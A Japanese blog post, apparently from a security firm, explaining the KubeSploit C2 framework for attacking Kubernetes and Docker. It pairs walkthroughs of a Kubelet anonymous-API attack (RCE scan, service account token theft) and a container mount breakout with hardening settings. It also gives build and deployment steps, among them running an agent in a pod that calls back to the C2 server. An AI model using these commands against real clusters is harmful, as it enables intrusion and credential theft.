はじめに
期限付きインターンをしております、菅家と申します。この度はKubesploitというペネトレーションツールについて調べましたので、その結果をまとめました。実際に攻撃するツールですので許可された環境以外では実施しないようにお願いいたします。
KubeSploit とは
KubeSploit (https://github.com/cyberark/kubesploit) は KubernetesやDockerなどのコンテナ化環境における侵入後の攻撃に焦点を当てたクロスプラットフォームのC2 (Command & Control) サーバー及びエージェントです。
このツールは、同じくGo言語で書かれたオープンソースのC2フレームワークであるMerlin (https://github.com/Ne0nd0g/merlin) をベースに開発されました。
イメージ図

特徴:エージェントと動的モジュール実行
KubeSploit の基本的な動作モデルは以下の通りです。
- Server : 攻撃者が操作するC2本体。ターゲット環境にデプロイされたエージェントからの接続を待ち受けます。
- Agent : 侵入に成功したPodやコンテナ内で動作するクライアントプログラム。サーバーからの指示を受け取り、Kubernetesクラスター内部で様々な攻撃モジュールを実行します。
技術的な特徴としてGoインタープリタ(Yaegi (https://github.com/traefik/yaegi)) が統合されている点が挙げられます。これにより、サーバー側から送信されたGo言語の攻撃モジュールコードをリモートのエージェントが動的にロードして実行することが可能です。
既存の多くのセキュリティツールが「脆弱性スキャン」や「設定監査」という受動的な役割を担うのに対し、本ツールは実際に攻撃コードを実行する能動的なツールです。「単に脆弱性がある」ことを知るだけでなく、「その脆弱性が悪用された場合、どこまで被害が広がるか」の検証を可能にします。
Go インタープリタ Yaegi (少し逸れますが)
Go は静的型付け・事前コンパイル・単一バイナリ配布を前提とした言語であり、「実行されるコードはビルド時に確定している」とされています。
しかし Yaegi はGo のコードを文字列として受け取り、AST 解析と実行時型チェックを経てそのまま評価・実行します。
つまり、Go に本来存在しない eval のような実行モデルを、言語仕様の範囲内で実現しています。これにより「Go 製バイナリだから安全」「中身は変わらない」という直感が成立しなくなります。
この性質が KubeSploit では大きな意味を持ちます。KubeSploit では、エージェントのバイナリは固定されたまま、攻撃ロジックだけが Yaegi を通じて実行時に差し替えられます。
攻撃コードはもはや「コード」ではなく、TLS 通信に含まれる単なるデータであり、ファイルハッシュやイメージスキャンといったコードに対するセキュリティ施策がほぼ無力化されます。
その結果、防御側が取り得る現実的な対策は、syscall・権限昇格・ファイル操作といった実行後の振る舞いを監視することに限られてしまいます。
Yaegi が示しているのは、「何が書かれているか」ではなく、「何が行われたか」しか防御できない局面が存在してしまうということです。
KubeSploit でシミュレート可能な攻撃の全体像
KubeSploit が提供するモジュールは、主に「クラスター内部での偵察・攻撃(Kube/Docker Exploitation)」と「コンテナからホスト脱出(Container Breakout)」の二つの領域をカバーしています。
以下に、主要な攻撃モジュール、その手口、目的、そしてそれに対する重要な防御策の概要を示します。
| カテゴリ | 攻撃モジュール(主な手口) | 攻撃の目的 | 重要防御策(概要) |
|---|---|---|---|
| Kube/Docker 偵察・攻撃 | Kubelet Attack | 認証不備のKubelet APIを悪用し、ノード情報の取得、RCE、トークン窃取を行う。 | Kubeletの匿名アクセス無効化と認可設定の厳格化。 |
| Port/Service Scanning | クラスター内部からのService IP、NodePortなどの検出と情報収集。 | ネットワークポリシーによる東西(Pod間)トラフィックの厳格な制限。 | |
| Container Breakout | docker.sock Breakout | マウントされたdocker.sockを利用し、ホスト上で特権コンテナを起動・操作してホストに脱出する。 | docker.sockのコンテナへのマウントを禁止する。 |
| Mount Breakout | privileged: trueやホストパスの書き込み可能マウントを悪用し、ホストのファイルシステムにアクセスする。 | コンテナの特権とCapability(権限)を最小化する。 | |
| CVE-2019-5736 (runC) | 脆弱なrunCを悪用し、ホスト上の実行バイナリを書き換える。 | コンテナランタイム(runC)のバージョンを最新に保つ。 | |
| cGroup / Kernel Module | Linuxカーネル機能の悪用(cgroup v1 release_agentやSYS_MODULE Capability)によるブレイクアウト。 | 必要なCapabilityのみを許可し、不要な権限をドロップする。 |
では次に二つの攻撃の詳細を記載します。
Kubelet Attack
Kubernetesクラスターにおいて、Kubelet は各ノードのPodやコンテナの管理を担うコンポーネントです。攻撃は、Kubelet が持つHTTP APIへのリクエストに認証情報を含めず(匿名で)アクセスできる場合に成立します。
Kubelet API は通常、ノードが管理するPodの実行状態確認やデバッグ操作のために使われますが、認証がない場合悪用されます。
この挙動は、モジュール内のHTTPクライアント初期化コードを見るとわかります。
func InitHttpClient() {
tr := &http.Transport{
MaxIdleConns: 10,
IdleConnTimeout: 30 * time.Second,
DisableCompression: true,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
GlobalClient = &http.Client{
Transport: tr,
Timeout: time.Second * 20,
}
このクライアントは、認証情報を持たない、リクエストは必然的に「匿名リクエスト」として扱われます。
Kubelet が設定でこの匿名アクセスを許可し、かつ高権限な操作(/pods, /exec)を認可している場合に攻撃が成り立ちます。
攻撃シミュレーション (https://github.com/cyberark/kubesploit/blob/main/data/modules/sourcecode/go/kubelet/main.go)

RCE脆弱性のあるPodのスキャン(RCE : Remote Code Execution)
攻撃者は set Url でKubelet API(set URL https://<ノードのIPアドレス>:10250)のエンドポイントをセットした後、サーバーコンソールでset Command rce を設定し、run します。
これは、匿名でアクセス可能な /exec エンドポイントを持つPodやコンテナを自動的にスキャンする命令です。
添付画像では
- システムコアの露呈:kube-system Namespace に存在する kube-proxy や weave-net といった、クラスターのネットワーキングを担う基幹コンポーネントの存在を特定
- RCEの確定:各コンテナ名の横に(RCE enabled)と表示されているのは、Kubeletの匿名アクセス経由で、これらのコンテナ内でリモートからのコマンド実行が可能であることを意味します。
- 機密情報の標的:ユーザーPodである ubuntu-secret もリストアップされており、攻撃者はこのコンテナにRCEをかけ、マウントされているシークレット情報の窃取を試みます。
サービスアカウントトークンの窃取
RCE可能なコンテナを特定した後、攻撃者はそのコンテナにマウントされているサービスアカウントトークンを窃取します。このトークンは、Kubernetes API サーバーにアクセスし、クラスターレベルの権限昇格を行うための鍵となります。
実行コマンドと結果
kubesploit [module][kubeletctl] > set Command Token
kubesploit [module][kubeletctl] > run

窃取された情報:weave-net-9mwg7 Podのコンテナから、kube-system Namespace に所属する weave-net サービスアカウントのトークンが完全にデコードされ、その生のデータ(Raw)まで取得されています。
任意のコマンド実行
偵察とトークン窃取だけでなく、特定のコンテナ内での任意のコマンド実行も可能です。
実行コマンドの例
kubesploit [module][kubeletctl] > set Command run -a whoami
kubesploit [module][kubeletctl] > run
防御策
Kubelet Attack は Kubelet の認証・認可の緩さが前提です。以下の設定でこの攻撃を防ぐことができます。
認証の設定
匿名アクセスの拒否
anonymous:
enabled: false
匿名ユーザーのリクエストを禁止する設定です。
これをfalseにすることで認証情報を持たないクライアントからのリクエストを全て拒否し、攻撃を阻止します。
認可の設定
AlwaysAllow ではなく Webhook または RBAC を利用する
authorization:
mode: AlwaysAllow
この設定だと認証を通ったユーザーに対して全てのリクエストを許可してしまいます。
そのためWebhookやRBACを利用することが推奨されます。
Webhook
authorization:
mode: Webhook
webhook:
cacheAuthorizedTTL: 0s
cacheUnauthorizedTTL: 0s
cacheAuthorizedTTL: 認可されたリクエストをキャッシュしないことで、毎回 Webhook に問い合わせるため最新のポリシーが適用されます。cacheUnauthorizedTTL: 拒否されたリクエストもキャッシュしないことで再試行時にも、毎回問い合わせます。
RBAC
authorization:
mode: RBAC
RBAC (Role Based Access Control) を利用し、必要な操作のみ許可する。
コンテナブレイクアウト攻撃とその防御
Docker や Kubernetes などのコンテナランタイムでは、通常コンテナ内部のプロセスとホスト OS の間に明確な隔離機構(namespace / cgroups / seccomp / capabilities等)が存在します。しかし、ホストのデバイスやファイルシステムにアクセス可能な権限が十分に与えられている場合、この隔離を突破し、ホスト側のファイルシステムを直接操作できるケースがあります。

Mount ブレイクアウト
Mount ブレイクアウトは、コンテナ内部からホスト側のファイルシステムを直接マウントし、ホスト環境のデータや設定へアクセスしてしまう攻撃手法です。
本来、コンテナはホストと隔離されている前提で動作しますが、以下の条件が揃うと隔離境界を突破できます。
- コンテナが CAP_SYS_ADMIN などの特権権限を保持している
- /dev/sda1 や /dev/xvda1 などのホストブロックデバイスにアクセス可能
- AppArmor / Seccomp 等が無効、もしくは制限が緩い
- privileged コンテナなど、ホストへのアクセスルールが緩い構成
本モジュールは、これらの条件を満たした環境で、ホストのルートファイルシステムをコンテナ内部のパスへマウントし、ホスト環境を覗き見る動作を再現するツールです。
成功すると /mnt0 配下などからホスト OS のファイルを読み書きできる状態となり、攻撃者は以下の行為が可能になります:
- ホスト上の /etc/passwd や SSH 秘密鍵の窃取
- root 権限によるファイルの改ざん、削除、バックドア設置
- クラスタ全体の支配権奪取
攻撃シミュレーション(https://github.com/cyberark/kubesploit/blob/main/data/modules/sourcecode/go/mountBreakout/main.go)

上記のターミナル画面には、攻撃が成功し、コンテナ内からホストOSの全データが見えてしまうまでの過程が記録されています。
(上:エージェントコンソール、下:サーバーコンソール)
コンテナの権限確認とスキャン
kubesploitのエージェントは、実行されているコンテナが特権モード(Privileged)であるか、あるいはデバイス操作に必要な権限(CAP_SYS_ADMIN)を持っているかを内部的に確認します。
権限がある場合、ホストOSが物理ディスクとして認識しているデバイス(例:/dev/xvda1)の探索を開始します。
物理ディスクの強制マウント
写真下部のログを見ると、以下のコマンド実行に相当する処理が自動で行われています。
- Trying to mount “/dev/xvda1” to “/mnt0”: ホストOSのルートが入っている物理デバイスを特定し、コンテナ内の /mnt0 というディレクトリに結合(マウント)を試みています。
- Mounted successfully: カーネルからマウントが許可され、コンテナの壁を越えて「外側のディスク」が「内側のフォルダ」として繋がった瞬間です。
隔離境界の消滅(エージェントコンソール)
ls /mnt0 の実行: マウントしたフォルダの中身を表示すると、通常のコンテナには存在しない vmlinuz や initrd.img といったホストOSのファイルが出現しています。
防御策
mountBreakout モジュールは、コンテナに与えられた「特権」を利用してホストの物理デバイスを直接マウントします。この物理的な境界突破を防ぐための対策は以下の通りです。
特権モード(Privileged)の禁止
securityContext: privileged: true の使用を完全に禁止します。特権コンテナはホストのすべてのデバイスへのアクセスを許可してしまうため、最も危険な設定です。
不必要な Capability の削除
capabilities: drop: [“ALL”] を設定した上で、動作に必要な権限のみを最小限付与します。特に、マウント操作に悪用される CAP_SYS_ADMIN や、カーネル操作を可能にする CAP_SYS_MODULE は原則としてドロップすべきです。
ホストパス・ソケットの露出制限
/var/run/docker.sock のマウントを禁止します。これがないと Docker 脱出(docker.sock Breakout)は成立しません。
ホストの重要ディレクトリ(/var/log や /etc)を書き込み可能でマウントすることを避けます。
https://note.com/minato_kame/n/n4ab0ad9b77f2
導入(ローカル環境での導入ステップ)
取得と前提準備
git clone https://github.com/cyberark/kubesploit.git
cd kubesploit
Go は 1.18/1.19 が必要なので必要によってインストールし、go version でgo1.19.x/1.18.x になることを確認。
ビルド
make
成功すると data/temp/v0.1.4/<Gitハッシュ>/ に以下が生成される
- kubesploitServer-Linux-x64, kubesploitAgent-Linux-x64
- kubesploitServer-Darwin-x64, kubesploitAgent-Darwin-x64
- PRISM-*
使いやすいようにシンボリックリンクを作成
ln -sf data/temp/v0.1.4/$(git rev-parse HEAD)/kubesploitServer-Darwin-x64 ./kubesploitServer
ln -sf data/temp/v0.1.4/$(git rev-parse HEAD)/kubesploitAgent-Darwin-x64 ./agent
設定
config.yaml を以下のように編集
Interface: "0.0.0.0"
Port: "1024" # 1024以上にする
サーバー起動
./kubesploitServer
を実行し、サーバーを起動。初回は証明書が無いとインメモリで自己署名 cert を生成。
% ./kubesploitServer
,(
((((((((((((*
(((((((((((((((((((((((
(((((((((((((((((((((((((((((((((
(((((((((((((((# .(((((((((((((((#
/((((((((((((( (((((((((((((
((((((((((((( (((((((((((((
((((((((((((( ((( ((((((((((((*
(((((( , / ((((((
(((((((# ((((((((
.((((((((, (((((((((
((((((((((((( *((( ((((( (((((((((((((
/((((((((((((( ((((((( (((((((((((((
#(((((((((((( ((((( ,((((((((((((((*
(((((((((((/ ( .#((((((((((*
#((((((((((( ((((((((((((/
((((((((((( ( ( ( ( (((((((((((*
(((((((((((((((((((((((((((((A((/
(((((((( KUBESPLOIT ((((((((*
((((((((((((((((((((((((*
Version: 0.1.4
Merlin version: 0.9.1
Build: ab2a57a25a81bb75543d25c7f7b60f6ce0654f05
GitHub: https://github.com/cyberark/kubesploit
[+] Reading config YAML file
[+] Parsing config YAML file
[-] Certificate was not found at: /Users/kotarokanke/dev/3shake/kubesploit-latest/data/x509/server.crt
Creating in-memory x.509 certificate used for this session only
[+] Default listener was created with an ID of: 58560622-869d-4145-a24e-38aa2920bccd
[+] Started HTTP2 listener on 127.0.0.1:1024
kubesploit»
クラスター内にエージェントを配置
検証用Podを用意
kubectl run agent-test --image=alpine --restart=Never -- sleep infinity
kubectl wait --for=condition=Ready pod/agent-test --timeout=60s
Linux 用エージェントをコピー
H=$(git rev-parse HEAD)
kubectl cp data/temp/v0.1.4/$H/kubesploitAgent-Linux-x64 agent-test:/tmp/agent
Pod 内で実行(ホスト到達が確認できる URL/ポートに合わせる。Docker Desktop を利用したので host.docker.internal が使える)
kubectl exec -it agent-test -- sh -c '/tmp/agent -url https://host.docker.internal:1024 &'
エージェントの起動が成功すると、サーバーコンソールに[+] New authenticated agent checkin … が表示される。
サーバーからPodを操作
kubesploit» sessions
+--------------------------------------+-------------+------+------------+-----------------+--------+
| AGENT GUID | PLATFORM | USER | HOST | TRANSPORT | STATUS |
+--------------------------------------+-------------+------+------------+-----------------+--------+
| a0837430-966e-4908-9fe4-e86d5bce3e45 | linux/amd64 | root | agent-test | HTTP/2 over TLS | Active |
+--------------------------------------+-------------+------+------------+-----------------+--------+
kubesploit» interact a0837430-966e-4908-9fe4-e86d5bce3e45
kubesploit[agent][a0837430-966e-4908-9fe4-e86d5bce3e45]»
注意
- サーバーのポートとエージェントの -url を揃える。
- 自己署名証明書なので curl などでは -k が必要。実運用は data/x509 に証明書を配置する。
- Pod 側で停止したい場合は kubectl exec agent-test — pkill agent、または Pod を削除。
おわりに
今回は、Kubesploitでシミュレートできる攻撃内容ということで攻撃内容やその防御策についてまとめました。
しかし、実際のエンタープライズ環境では、KubernetesはAWS、Azure、Google Cloudといったクラウドプロバイダーのマネージドサービス(EKS, AKS, GKE)上で動いていることがほとんどです。
次のステップとして必要なのは、これらの攻撃がクラウド上でどのような挙動を示すのかを検証することです。
ネクストステップとしてより現場に近いクラウド環境での攻撃シミュレーションを行い、クラウドネイティブな環境における多層防御の最適解をさらに深く追求していきたいと思います。